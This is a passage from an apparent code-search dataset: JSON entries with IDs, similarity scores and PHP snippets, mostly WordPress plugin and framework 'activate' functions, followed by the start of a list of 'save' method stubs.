"" }, { "docid": "148518bf9a61e7652e53501a057983a1", "score": "0.583743", "text": "public function activate()\n {\n $response = $this->response();\n /* le hash de l'email */\n $emailHash = $this->uri->segment(3);\n /* le log d'activation */\n $logID = $this->uri->segment(4);\n if ($this->oauth_web->activate($emailHash, $logID)) {\n redirect();\n // $response[\"status\"] = true;\n }\n // $this->output->set_output(json_encode($response));\n }", "title": "" }, { "docid": "78bd082f9d8722e246a542917151050d", "score": "0.5823506", "text": "public function activate() {\n\n\t\t$this->registration_handler->register();\n\t\t\n\t}", "title": "" }, { "docid": "0fdbf2c614656c866659882ddfc954cd", "score": "0.5813458", "text": "public function activate() {\n flush_rewrite_rules();\n\t\t\tupdate_option( self::$plugin_name . '_version', self::$plugin_version, 'no' );\n }", "title": "" }, { "docid": "8c37a6ed9a42f72221468b998f5534f7", "score": "0.5809948", "text": "public function activate() {\n\n }", "title": "" }, { "docid": "25581cd66e8658bd2ad4614fb0d05828", "score": "0.5777726", "text": "public function plugin_activate(){\n\t\t//flush permalinks\n\t\tflush_rewrite_rules();\n\t}", "title": "" }, { "docid": "c3f90554ff7029c355ebb9a0325bcdc9", "score": "0.5777049", "text": "function wppb_add_on_activate() {\r\n check_ajax_referer( 'wppb-activate-addon', 'nonce' );\r\n if( current_user_can( 'manage_options' ) ){\r\n // Setup variables from POST\r\n $wppb_add_on_to_activate = sanitize_text_field( $_POST['wppb_add_on_to_activate'] );\r\n $response = filter_var( $_POST['wppb_add_on_index'], FILTER_SANITIZE_NUMBER_INT );\r\n\r\n if( !empty( $wppb_add_on_to_activate ) && !is_plugin_active( $wppb_add_on_to_activate )) {\r\n activate_plugin( $wppb_add_on_to_activate );\r\n }\r\n\r\n if( !empty( $response ) )\r\n echo $response;\r\n }\r\n wp_die();\r\n}", "title": "" }, { "docid": "d52771e27d4b025cb0326eb29bc54022", "score": "0.5751213", "text": "function emp_activate() {\n\tglobal $wp_rewrite;\n \t$wp_rewrite->flush_rules();\n}", "title": "" }, { "docid": "34cc69c5fc41dfd9b020288f5e4c8ae2", "score": "0.5742924", "text": "protected function activateSelf() {}", "title": "" }, { "docid": "9c093776ba6e4ac3c91c431f3a0a7921", "score": "0.5740834", "text": "public function activate(){\n\n\t}", "title": "" }, { "docid": "f823ea784aae90bd63e40ca2315bd7dc", "score": "0.5738829", "text": "function api_app_enable_function() {\n\n $id = API::$IO->id;\n if ($id == \"\") API::$IO->end(3);\n API::$IO->app = EnablePlugin($id);\n\n\n}", "title": "" }, { "docid": "a62447608471e180b998f0fbc501cd04", "score": "0.5725745", "text": "public function activate()\r\n\t{\r\n\t\t$this->default_settings();\r\n\t}", "title": "" }, { "docid": "14f6d6edd41670bac19104099cf93dfa", "score": "0.57204884", "text": "function tfls_activate() {\n\n\tif ( get_option( 'tfls_update_geoip' ) && ! wp_next_scheduled( 'tfls_update_geoip' ) ) {\n\t\twp_schedule_event( time(), '4weeks', 'tfls_update_geoip' );\n\t}\n\n\t// Add the wholesaler role\n\tadd_role( 'wholesaler', 'Wholesaler', array(\n\t\t'read' => true\n\t));\n}", "title": "" }, { "docid": "62dafaddbc2f1d2f4d5a7a4c65766c89", "score": "0.5715099", "text": "public function activation () {\n\t\t$this->register_plugin_version();\n\t}", "title": "" }, { "docid": "30e65ea9433271085fc8091ba1a5ec8f", "score": "0.5710311", "text": "function on_sertone_activate() {\n global $wpdb;\n\n $pages_to_create = array(\n 'Add Application',\n 'Add Gateway',\n 'Dashboard',\n 'Add Registration',\n 'Log in',\n 'Add Sensor',\n 'application-detail',\n 'device-info-abp',\n 'device-info-otaa'\n );\n\n foreach($pages_to_create as $page){\n\n\n if($page == \"Dashboard\") {\n $page = 'add-'. $page;\n }\n\n\n $slug = \"sertone-\".seoUrlsertone(strtolower($page));\n\n $postID = $wpdb->get_var(\"SELECT ID FROM $wpdb->posts WHERE post_name='$slug'\");\n\n if ($postID == '') {\n\n\n // Gather post data.\n $my_post = array(\n 'post_title' => $page,\n 'post_type' => 'page',\n 'post_name' => $slug,\n 'post_content' => 'this is an console system template.',\n 'post_status' => 'publish',\n 'post_author' => get_current_user_id(),\n );\n\n // Insert the post into the database.\n $pid = wp_insert_post( $my_post );\n\n if($pid!=\"\"){\n\n $allpid[] = $pid;\n\n\n }\n\n }\n\n\n\n\n }\n\n if(!empty( $allpid )){\n\n update_option('sertone_post_ids',$allpid);\n\n }\n\n\n /* activation code here */\n}", "title": "" }, { "docid": "88b53be963f564f9c0aecf8f3766fb73", "score": "0.5708031", "text": "public static function installApp()\r\n\t{\r\n\t\t$result = [\r\n\t\t\t'rest_only' => true,\r\n\t\t\t'install' => false\r\n\t\t];\r\n\t\tif($_REQUEST[ 'event' ] == 'ONAPPINSTALL' && !empty($_REQUEST[ 'auth' ]))\r\n\t\t{\r\n\t\t\t$result['install'] = static::setAppSettings($_REQUEST[ 'auth' ], true);\r\n\t\t}\r\n\t\telseif($_REQUEST['PLACEMENT'] == 'DEFAULT')\r\n\t\t{\r\n\t\t\t$result['rest_only'] = false;\r\n\t\t\t$result['install'] = static::setAppSettings(\r\n\t\t\t\t[\r\n\t\t\t\t\t'access_token' => htmlspecialchars($_REQUEST['AUTH_ID']),\r\n\t\t\t\t\t'expires_in' => htmlspecialchars($_REQUEST['AUTH_EXPIRES']),\r\n\t\t\t\t\t'application_token' => htmlspecialchars($_REQUEST['APP_SID']),\r\n\t\t\t\t\t'refresh_token' => htmlspecialchars($_REQUEST['REFRESH_ID']),\r\n\t\t\t\t\t'domain' => htmlspecialchars($_REQUEST['DOMAIN']),\r\n\t\t\t\t\t'client_endpoint' => 'https://' . htmlspecialchars($_REQUEST['DOMAIN']) . '/rest/',\r\n\t\t\t\t],\r\n\t\t\t\ttrue\r\n\t\t\t);\r\n\t\t}\r\n\r\n\t\tstatic::setLog(\r\n\t\t\t[\r\n\t\t\t\t'request' => $_REQUEST,\r\n\t\t\t\t'result' => $result\r\n\t\t\t],\r\n\t\t\t'installApp'\r\n\t\t);\r\n\t\treturn $result;\r\n\t}", "title": "" }, { "docid": "f29c1bb6c553960eb1b70e8101462c1c", "score": "0.5704504", "text": "static public function activate()\n {\n do_action( \"sc_wpfmp_enable_wp_cron\" ); // Go enable cron\n }", "title": "" }, { "docid": "fba9fd0b410a7c2aad1b4bd7614f3d86", "score": "0.5703904", "text": "function wpsvip_activate()\n{\n\n}", "title": "" }, { "docid": "2be6d4e50eaf8fb863aa8fcb39afd755", "score": "0.567283", "text": "function activate_alecaddd_plugin() {\n\tXVR\\Featured_Posts\\Base\\Activate::activate();\n}", "title": "" }, { "docid": "0db70eb1c7cd8de64b7a2a7a9f1f0eef", "score": "0.5671636", "text": "public function activateAction(): void\n {\n User::activate($this->route_params['token']);\n\n $this->redirect('/'.Config::APP_NAME.'/accounts/activated');\n }", "title": "" }, { "docid": "459d060a1389ca9bcd6b7db01c982855", "score": "0.56683993", "text": "public function startAction()\n {\n // Application url\n $auth = Zend_Auth::getInstance();\n $auth->setStorage(new Zend_Auth_Storage_Session('homelet_customer'));\n\n if ($auth->hasIdentity()) {\n $this->view->applicationUrl = '/landlords/referencing/property-lease';\n }\n else {\n $this->view->applicationUrl = '/landlords/referencing/login';\n }\n\t}", "title": "" }, { "docid": "af69d0e15936f293c16fe130a8ac20ba", "score": "0.56642133", "text": "public function activate()\n {\n $depends = include $this->coderoot . 'depends.php';\n $container = new phpList\\plugin\\Common\\Container($depends);\n $this->dao = $container->get('DAO');\n $this->logger = $container->get('Logger');\n $this->pageTitles = array(\n 'manage' => s('Manage autoresponders'),\n );\n\n parent::activate();\n }", "title": "" }, { "docid": "628db039f737892355949f82949e28b6", "score": "0.5640474", "text": "public function activate()\n\t{\n\t\t// Activate the plugin\n\t\tinclude('models/database.php');\n\t\tinstallDatabase();\n\t}", "title": "" }, { "docid": "984ef7bd42961d7563c2355dfd60ac40", "score": "0.56376094", "text": "public static function activate($appname = \"\"){\n\t\tif(empty($appname) || !self::isInstalled($appname)){\n\t\t\treturn false;\n\t\t}\n\n\t\t// 1. check first if the application is deactivatable\n\t\t$deactivatable = self::getManifestElement($appname, \"/info/deactivatable\");\n\t\tif($deactivatable != \"true\"){\n\t\t\treturn false;\n\t\t}\n\n\t\t// 2. check if it is already activated\n\t\tif(self::isActive($appname) !== false){\n\t\t\treturn false;\n\t\t}\n\n\t\t// 3. activate it\n\t\t$toc = self::readAppTOCsxmle();\n\t\t$config = self::readConfig();\n\t\t$path = $config->applicationpath . $appname . \"/\";\n\t\tforeach($toc->applications->application as $entry){\n\t\t\tif($entry->name == $appname){\n\t\t\t\tif(is_dir($path)){\n\t\t\t\t\t$ACTIVECONSTANT = 'WEAPP_' . strtoupper($appname) . '_ACTIVE';\n\t\t\t\t\tif(is_readable($path . \"conf/define.conf.php\") && is_readable($path . \"conf/meta.conf.php\")){\n\t\t\t\t\t\t$dieConf = we_base_file::load($path . \"conf/define.conf.php\");\n\t\t\t\t\t\t$dieConf = str_replace('define(\"' . $ACTIVECONSTANT . '\",false)', 'define(\"' . $ACTIVECONSTANT . '\",true)', $dieConf);\n\t\t\t\t\t\twe_util_File::save($path . \"conf/define.conf.php\", $dieConf);\n\t\t\t\t\t\t$dieConf2 = we_base_file::load($path . \"conf/meta.conf.php\");\n\t\t\t\t\t\t$dieConf2 = str_replace(\"appdisabled'=>1\", \"appdisabled'=>0\", $dieConf2);\n\t\t\t\t\t\twe_util_File::save($path . \"conf/meta.conf.php\", $dieConf2);\n\t\t\t\t\t\t$entry[\"active\"] = \"true\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tself::saveAppTOC($toc);\n\t\tself::readAppTOCsxmle(true);\n\t\tself::readAppTOC(true);\n\t}", "title": "" }, { "docid": "546612d8076a22a020534b1c54d50c02", "score": "0.5637022", "text": "function activate_alumni_custom_profile() {\n\trequire_once plugin_dir_path( __FILE__ ) . 'includes/class-alumni-custom-profile-activator.php';\n\tAlumni_Custom_Profile_Activator::activate();\n}", "title": "" }, { "docid": "c9c531d1e85b21625c7abb079e3247f7", "score": "0.5633614", "text": "function eventcard_activate() {\n\t//create_cpt_eventcard();\n\t// flush rewrite rules to prevent 404s\n\tflush_rewrite_rules();\n\n}", "title": "" }, { "docid": "7290c687a3cc4badbbf7426ab1a329c0", "score": "0.5627996", "text": "function activate_nyu_stream_oembed() {\n\trequire_once plugin_dir_path( __FILE__ ) . 'includes/class-nyu-stream-oembed-activator.php';\n\tNYU_Stream_oEmbed_Activator::activate();\n}", "title": "" }, { "docid": "37e72965730b3ba54ad2395b28d2af5f", "score": "0.5613686", "text": "function activate_autoupdate() {\n require_once ('wp_autoupdate.php');\n $wptuts_plugin_current_version = $this->get_version();\n $wptuts_plugin_remote_path = 'http://' . $this->get_sidelines_host() . '/api/widget';\n $wptuts_plugin_slug = plugin_basename(__FILE__);\n new wp_auto_update ($wptuts_plugin_current_version, $wptuts_plugin_remote_path, $wptuts_plugin_slug);\n }", "title": "" }, { "docid": "d60e3ad3517cfbf7e730d86b783499b1", "score": "0.5613273", "text": "public function activate_extension()\n {\n return true;\n }", "title": "" }, { "docid": "3f728ffd90db107dc52f565be3617ed3", "score": "0.56119496", "text": "function activate_wp_primary_category() {\n\trequire_once plugin_dir_path( __FILE__ ) . 'includes/class-wp-primary-category-activator.php';\n\tWP_Primary_Category_Activator::activate();\n}", "title": "" }, { "docid": "13f009ba1c9c9e0b3a97b7af7e850555", "score": "0.56107646", "text": "public static function activate()\n {\n /**\n * Custom Post Types\n */\n $plugin_post_types = new CustomPostTypes($this->get_plugin_name(), 'package', 'book');\n\n /**\n * The problem with the initial activation code is that when the activation hook runs, it's after the init hook has run,\n * so hooking into init from the activation hook won't do anything.\n * You don't need to register the CPT within the activation function unless you need rewrite rules to be added\n * via flush_rewrite_rules() on activation. In that case, you'll want to register the CPT normally, via the\n * loader on the init hook, and also re-register it within the activation function and\n * call flush_rewrite_rules() to add the CPT rewrite rules.\n *\n * @link https://github.com/DevinVinson/WordPress-Plugin-Boilerplate/issues/261\n */\n $plugin_post_types->create_custom_post_type();\n $plugin_post_types->add_custom_endpoint();\n\n flush_rewrite_rules();\n }", "title": "" }, { "docid": "96fa3cff5ad7b649b7819ebb184c88f4", "score": "0.5603863", "text": "function tru_load_plugin(){\n\t// Loading the app in WordPress admin main screen.\n\tnew TruLoadReactApp( 'admin_enqueue_scripts', 'index.php', false,'#wpbody .wrap');\n\t// Loading the app WordPress front end page.\n\tnew TruLoadReactApp( 'wp_enqueue_scripts', '', 'is_front_page', '#page');\n}", "title": "" }, { "docid": "0582447d93e731052a8bc810c8f98bd2", "score": "0.5600198", "text": "public function activate_extension()\n\t{\n\t\t$this->create_hooks();\n\t}", "title": "" }, { "docid": "c8c05bdacf69cd5b18a9a4df6ba2d2e3", "score": "0.55909", "text": "public function activate() {\n $installer = new Contact\\Form\\Installer();\n $installer->run();\n }", "title": "" }, { "docid": "a52e1afce6ad4f60f4aa7aad7e37108b", "score": "0.55899215", "text": "public function activation()\n {\n if ( ! function_exists( 'pmpro_getOption' ) ) {\n\n $errorMessage = \"The PMPro Sequence plugin requires the \";\n $errorMessage .= \"<a href='http://www.paidmembershipspro.com/' target='_blank' title='Opens in a new window/tab.'>\";\n $errorMessage .= \"Paid Memberships Pro</a> membership plugin.<br/><br/>\";\n $errorMessage .= \"Please install Paid Memberships Pro before attempting to activate this PMPro Sequence plugin.<br/><br/>\";\n $errorMessage .= \"Click the 'Back' button in your browser to return to the Plugin management page.\";\n wp_die($errorMessage);\n }\n\n PMProSequence::createCPT();\n flush_rewrite_rules();\n\n /* Search for existing pmpro_series posts & import */\n pmpro_sequence_import_all_PMProSeries();\n\n /* Register the default cron job to send out new content alerts */\n wp_schedule_event( current_time( 'timestamp' ), 'daily', 'pmpro_sequence_cron_hook' );\n\n }", "title": "" }, { "docid": "d8dbcd6115fa3016c2bf5d7692904001", "score": "0.5586808", "text": "public function activation_hook() {\n\t\t/*if ( $this->need_migration() && ! $this->is_debug() ) {\n\t\t\t$this->make_migration();\n\t\t}*/\n\n\t\t// just time to know when the plugin was activated the first time\n\t\t$activated = $this->get_plugin_activated_time();\n\n\t\tif ( ! $activated ) {\n\t\t\tif ( $this->plugin->isNetworkActive() ) {\n\t\t\t\tupdate_site_option( $this->plugin->getOptionName( 'plugin_activated' ), time() );\n\t\t\t\tupdate_site_option( $this->plugin->getOptionName( 'plugin_version' ), $this->get_current_plugin_version() );\n\t\t\t} else {\n\t\t\t\tupdate_option( $this->plugin->getOptionName( 'plugin_activated' ), time() );\n\t\t\t\tupdate_option( $this->plugin->getOptionName( 'plugin_version' ), $this->get_current_plugin_version() );\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "7c036208530106a04248502f902f6f3c", "score": "0.5586639", "text": "public function activate() \n {\n global $wpdb;\n\n if ( is_multisite() ) {\n\n $blog_ids = $wpdb->get_col( \"SELECT blog_id FROM $wpdb->blogs\" );\n foreach ( $blog_ids as $blog_id ) {\n switch_to_blog( $blog_id );\n $this->create_table();\n restore_current_blog();\n }\n } else {\n $this->create_table();\n }\n\t}", "title": "" }, { "docid": "efe9a9ba9c188539be267f8158804ff0", "score": "0.5570581", "text": "function activate() {\n\t\tif ( version_compare( PHP_VERSION, '5.2.0', '<' ) ) {\n\t\t\tdeactivate_plugins( $this->plugin_file ); // Deactivate ourself\n\t\t\twp_die( \"Sorry, but this plugin requires PHP 5.2 or higher.\" );\t\n\t\t}\n\n\t\tif ( !get_option ( 'ajax-for-all' ) )\n\t\t\tadd_option ( 'ajax-for-all' , $this->defaults() );\n\t\t$this->check_upgrade();\n\t}", "title": "" }, { "docid": "0659af83d3b6e2bfe04fd42dd6e500f5", "score": "0.5569893", "text": "function activate_akvockan_plugin() {\n\tInc\\Base\\Activate::activate();\n}", "title": "" }, { "docid": "60a4013092211de2266d746727cc4832", "score": "0.5569089", "text": "public static function activate() {\n\t\tadd_option( 'wpr_future_events' );\n\t}", "title": "" }, { "docid": "0bcfa08b277715c9c814b408973b2d04", "score": "0.5558358", "text": "private function setupWS()\n\t\t{\n\t\t\trequire_once( $this->the_plugin->cfg['paths']['plugin_dir_path'] . '/lib/scripts/ebay/aaEbayWS.class.php' );\n\n\t\t\t$this->the_plugin->cur_provider = self::$provider;\n\t\t\t\n\t\t\t// create new alibaba instance\n\t\t\t$this->aaEbayWS = new aaEbayWS(\n\t\t\t\t$this->amz_settings['ebay_DEVID'],\n\t\t\t\t$this->amz_settings['ebay_AppID'],\n\t\t\t\t$this->amz_settings['ebay_CertID'],\n\t\t\t\t$this->amz_settings['ebay_country'],\n\t\t\t\t$this->the_plugin->main_aff_id()\n\t\t\t);\n\n $this->aaEbayWS->set_the_plugin( $this->the_plugin );\n\t\t}", "title": "" }, { "docid": "3f4323ac44a6dc1f38feb3022fcc7f42", "score": "0.5550261", "text": "function bp_course_activate() {\n\n}", "title": "" }, { "docid": "6834adf185bc34df4b7f98e1694781b4", "score": "0.5541652", "text": "public function activate() {\r\n\r\n $this->checkPHPVersion();\r\n $this->checkCoinsDir();\r\n\r\n $this->addOptions();\r\n $this->createOrdersTable();\r\n\r\n API::downloadCoinsIcons();\r\n\r\n CryptoExchange::addRewriteRule();\r\n flush_rewrite_rules();\r\n\r\n }", "title": "" }, { "docid": "15369e52e06c948db3a27e74f591e3e4", "score": "0.55411506", "text": "function postrelease_notify_activate() {\n\t//notify PostRelease team that plugin was activated\n\t$args = array(\n\t\t'method' => 'POST',\n\t\t'timeout' => 2,\n\t\t'user-agent' => 'Wordpress_plugin',\n\t\t'sslverify' => true,\n\t);\n\t$response = wp_remote_post( PRX_POSTRELEASE_SERVER . '/plugins/Api/PluginActivated?url=' . site_url(), $args );\t\t\n}", "title": "" }, { "docid": "d7ae68ba103184336c74d97a8ca62156", "score": "0.5539631", "text": "function activate_plugin() {\n\tglobal $wp_version;\n\n\t$min_php = ( isset($this->min_php) ? $this->min_php : '5.2.4' );\n\t$min_wp = ( isset($this->min_wp) ? $this->min_wp : '3.1' );\n\n\t$min = true;\n\t\n\tif ( version_compare(PHP_VERSION, $min_php) == -1 ) $min = false;\t\n\tif ( version_compare($wp_version, $min_wp) == -1 ) $min = false;\n\t\n\tif ( $min == false ) {\n\t\t$msg = '<p>'. ucwords(str_replace('-', ' ', $this->unique_id)).__(' requires WordPress version ').$min_wp. __(' and PHP version ').$min_php.'<br />';\n\t\t$msg .= __( 'You are running Wordpress version ').$wp_version. __(' and PHP version ').PHP_VERSION.'</p>';\n\t\tif ( is_plugin_active($this->base_plugin) ) deactivate_plugins($this->base_plugin);\n\t\texit( $msg );\n\t}\telse\t{\n\t\t// set the basic options\n\t\t$options = $this->get_options();\n\t\tupdate_option($this->unique_id, $options);\n\t\t// do any installation steps required by the extends class\n\t\tif ( method_exists($this, 'custom_activate_plugin') ) $this->custom_activate_plugin();\n\t}\n}", "title": "" }, { "docid": "e65059f24b93584455b9de2b45af3689", "score": "0.55365187", "text": "public function activation() {\n\n\t\t\t//Register jet-popup post type on activation hook\n\t\t\trequire $this->plugin_path( 'includes/post-type.php' );\n\n\t\t\tJet_Popup_Post_Type::register_post_type();\n\n\t\t\tflush_rewrite_rules();\n\t\t}", "title": "" }, { "docid": "d041429843da6d5e7043838f4c3be124", "score": "0.5516934", "text": "function wrmp_activate()\n{\n\trequire_once MYBB_ROOT . '/inc/adminfunctions_templates.php';\n\tfind_replace_templatesets('postbit', \"#\" . preg_quote('<td class=\"smalltext post_author_info\"') . \"#i\", '{$post[\\'wrmp_postbit\\']}<td class=\"smalltext post_author_info\"');\n\tfind_replace_templatesets('postbit_classic', \"#\" . preg_quote('{$post[\\'user_details\\']}') . \"#i\", '{$post[\\'user_details\\']}{$post[\\'wrmp_postbit\\']}');\n\n\tfind_replace_templatesets('postbit', \"#\" . preg_quote('{$post[\\'button_rep\\']}') . \"#i\", '{$post[\\'button_rep\\']}{$post[\\'wrmp_below\\']}');\n\n\t// if we just upgraded . . .\n\t$old_version = wrmp_get_cache_version();\n\t$info = wrmp_info();\n\tif(version_compare($old_version, $info['version'], '<'))\n\t{\n\t\twrmp_install();\n\t}\n\twrmp_set_cache_version();\n}", "title": "" }, { "docid": "7807c4a55a263aaf1e72290a692ca529", "score": "0.55169237", "text": "public static function activate() {\n\t\t\t// Do nothing\n\t\t}", "title": "" }, { "docid": "ff7d4589303a188a93fa1142b4f29bb9", "score": "0.55104786", "text": "function bp_activate_users_init() {\n\tinclude( dirname( __FILE__ ) . '/includes/activate-users.php' );\n}", "title": "" }, { "docid": "b8b70d0f24ba52aabe897f281af9c951", "score": "0.5508732", "text": "public static function activate()\n\t\t{\n\t\t\t// Do nothing\n\t\t}", "title": "" }, { "docid": "b8b70d0f24ba52aabe897f281af9c951", "score": "0.5508732", "text": "public static function activate()\n\t\t{\n\t\t\t// Do nothing\n\t\t}", "title": "" }, { "docid": "343abd10640395ac609aece27a3efa6f", "score": "0.5506471", "text": "public function activate_plugin() {\n\n\t\t$url_slug = 'email_page';\n\t\t\n\t\tadd_rewrite_rule( $url_slug . '/?$', 'index.php?email_page=index', 'top' );\n\t\tadd_rewrite_rule( $url_slug . '/page/([0-9]{1,})/?$', 'index.php?email_page=items&email_page_paged=$matches[1]', 'top' );\n\t\tadd_rewrite_rule( $url_slug . '/form/?.*$', 'index.php?email_page=index&email_page_form=index', 'top');\n\t\tadd_rewrite_rule( $url_slug . '/([a-zA-Z0-9\\-]{1,})/?$', 'index.php?email_page=detail&email_page_vehicle=$matches[1]', 'top' );\n\n\t\tflush_rewrite_rules();\n\n\t}", "title": "" }, { "docid": "6cb8e3a1883ece9d65c958de674df467", "score": "0.5504155", "text": "public static function activate ()\n\t{\n\t\t// Create or update options\n\t\tself::generate_options ();\n\t}", "title": "" }, { "docid": "7c374ac632c32e12fc74664898fd0be9", "score": "0.5500272", "text": "public function activate() {\n $installer = new WeDevs\\Notification\\Installer();\n $installer->run();\n }", "title": "" }, { "docid": "ab8afb03f2742e3988c3915769da49a5", "score": "0.549817", "text": "function shibboleth_activate_plugin() {\n\tif ( version_compare( $GLOBALS['wp_version'], SHIBBOLETH_MINIMUM_WP_VERSION, '<' ) ) {\n\t\tdeactivate_plugins( plugin_basename( __FILE__ ) );\n\t\t/* translators: 1: A version number */\n\t\twp_die( sprintf( esc_html( __( 'Shibboleth requires WordPress %1$s or higher!', 'shibboleth' ) ), esc_html( SHIBBOLETH_MINIMUM_WP_VERSION ) ) );\n\t} elseif ( version_compare( PHP_VERSION, SHIBBOLETH_MINIMUM_PHP_VERSION, '<' ) ) {\n\t\tdeactivate_plugins( plugin_basename( __FILE__ ) );\n\t\t/* translators: 1: A version number */\n\t\twp_die( sprintf( esc_html( __( 'Shibboleth requires PHP %1$s or higher!', 'shibboleth' ) ), esc_html( SHIBBOLETH_MINIMUM_PHP_VERSION ) ) );\n\t}\n\n\tif ( function_exists( 'switch_to_blog' ) ) {\n\t\tif ( is_multisite() ) {\n\t\t\tswitch_to_blog( $GLOBALS['current_blog']->blog_id );\n\t\t} else {\n\t\t\tswitch_to_blog( $GLOBALS['current_site']->blog_id );\n\t\t}\n\t}\n\n\tadd_site_option( 'shibboleth_login_url', get_site_option( 'home' ) . '/Shibboleth.sso/Login' );\n\tadd_site_option( 'shibboleth_default_to_shib_login', false );\n\tadd_site_option( 'shibboleth_auto_login', false );\n\tadd_site_option( 'shibboleth_logout_url', get_site_option( 'home' ) . '/Shibboleth.sso/Logout' );\n\tadd_site_option( 'shibboleth_attribute_access_method', 'standard' );\n\tadd_site_option( 'shibboleth_default_role', '' );\n\tadd_site_option( 'shibboleth_update_roles', false );\n\tadd_site_option( 'shibboleth_button_text', 'Log in with Shibboleth' );\n\tadd_site_option( 'shibboleth_auto_combine_accounts', 'disallow' );\n\tadd_site_option( 'shibboleth_manually_combine_accounts', 'disallow' );\n\tadd_site_option( 'shibboleth_disable_local_auth', false );\n\n\t$headers = array(\n\t\t'username' => array(\n\t\t\t'name' => 'eppn',\n\t\t\t'managed' => 'on',\n\t\t),\n\t\t'first_name' => array(\n\t\t\t'name' => 'givenName',\n\t\t\t'managed' => 'on',\n\t\t),\n\t\t'last_name' => array(\n\t\t\t'name' => 'sn',\n\t\t\t'managed' => 'on',\n\t\t),\n\t\t'nickname' => array(\n\t\t\t'name' => 'eppn',\n\t\t\t'managed' => 'off',\n\t\t),\n\t\t'display_name' => array(\n\t\t\t'name' => 'displayName',\n\t\t\t'managed' => 'off',\n\t\t),\n\t\t'email' => array(\n\t\t\t'name' => 'mail',\n\t\t\t'managed' => 'on',\n\t\t),\n\t);\n\tadd_site_option( 'shibboleth_headers', $headers );\n\n\t$roles = array(\n\t\t'administrator' => array(\n\t\t\t'header' => 'entitlement',\n\t\t\t'value' => 'urn:mace:example.edu:entitlement:wordpress:admin',\n\t\t),\n\t\t'author' => array(\n\t\t\t'header' => 'affiliation',\n\t\t\t'value' => 'faculty',\n\t\t),\n\t);\n\tadd_site_option( 'shibboleth_roles', $roles );\n\n\tshibboleth_insert_htaccess();\n\n\tshibboleth_migrate_old_data();\n\n\tupdate_site_option( 'shibboleth_plugin_version', SHIBBOLETH_PLUGIN_VERSION );\n\n\tif ( function_exists( 'restore_current_blog' ) ) {\n\t\trestore_current_blog();\n\t}\n}", "title": "" }, { "docid": "57b5acf76af0b7fe54119c600c5723fb", "score": "0.54944485", "text": "public function activateAction()\r\n {\r\n\t\tUser::activate($this->route_params['token']);\r\n\t\t\r\n\t\t$this->user = Auth::getUser();\r\n\r\n $this->redirect('/signup/activated');\r\n }", "title": "" }, { "docid": "9061e7bd85a5b029f6dce13d3a856680", "score": "0.54938406", "text": "function index()\n {\n if (APP_INSTALLED)\n {\n $this->_template->setRedirection(APP_URL);\n return ;\n }\n }", "title": "" }, { "docid": "2ffc9c23da969b13f0afd9699625c805", "score": "0.5492759", "text": "function sb_instagram_activate_pro() {\r\n $options = get_option('sb_instagram_settings');\r\n $options[ 'sb_instagram_show_btn' ] = true;\r\n $options[ 'sb_instagram_show_header' ] = true;\r\n $options[ 'sb_instagram_show_follow_btn' ] = true;\r\n update_option( 'sb_instagram_settings', $options );\r\n\r\n //Run cron twice daily when plugin is first activated for new users\r\n wp_schedule_event(time(), 'twicedaily', 'sb_instagram_cron_job');\r\n}", "title": "" }, { "docid": "c71ca5a7946c6aa3c04d49ba215b226b", "score": "0.54887825", "text": "function simple_autoreply_activate()\n{\n\treturn TRUE;\n}", "title": "" } ]
2328587be2b5a49589f3f4993ca16da9
Inject function when saving
[ { "docid": "16963a326260ac731ffa100f2759d040", "score": "0.0", "text": "public function save(array $options = [])\n {\n parent::save();\n\n $this->formulir->formulirable_type = get_class($this);\n $this->formulir->formulirable_id = $this->id;\n $this->formulir->save();\n\n return $this;\n }", "title": "" } ]
[ { "docid": "06d0929af8b5426eae30aecd4cb74b1d", "score": "0.74509877", "text": "public function onSave()\r\n\t{\r\n\t\t\r\n\t}", "title": "" }, { "docid": "79fe673e60fcc1de634d396b61ff6445", "score": "0.73381656", "text": "public function save() {\n\t\tcall_user_func( $this->onsave, $this );\n\t}", "title": "" }, { "docid": "68b713e26cd93452b94d2e16580e1ffc", "score": "0.72029084", "text": "protected abstract function save();", "title": "" }, { "docid": "e42df3ab05265030fd1ec865466b873d", "score": "0.71709615", "text": "abstract protected function _save();", "title": "" }, { "docid": "90a89c1c8b3894700a8f9328e0bc7d62", "score": "0.71672297", "text": "public abstract function save();", "title": "" }, { "docid": "90a89c1c8b3894700a8f9328e0bc7d62", "score": "0.71672297", "text": "public abstract function save();", "title": "" }, { "docid": "90a89c1c8b3894700a8f9328e0bc7d62", "score": "0.71672297", "text": "public abstract function save();", "title": "" }, { "docid": "1146b1c9d3992c7de0ff307c94d24bdc", "score": "0.7142681", "text": "public function\n databaseSave(){\n // here as a proxy, use a better way later!\n \n }", "title": "" }, { "docid": "914ff53df93a38d653aac2694bc23588", "score": "0.7124798", "text": "public static function save(){\n }", "title": "" }, { "docid": "6d20aa84661351e4924a89a0b9b71329", "score": "0.7085611", "text": "abstract protected function save();", "title": "" }, { "docid": "3b6b485d578c3e2940cdbe53311597ca", "score": "0.7062983", "text": "public function save()\n{\n # code...\n}", "title": "" }, { "docid": "e708611072edf1e61f845b1325337937", "score": "0.6995188", "text": "function save()\r\n {\r\n }", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.6989736", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.6989736", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.6989736", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.6989736", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.6989736", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.6989736", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.6989736", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.6989736", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.6989736", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.6989736", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.6989736", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.6989736", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", "score": "0.6989736", "text": "public function save();", "title": "" }, { "docid": "c01046a7628cac2d4c97db025b318aa2", 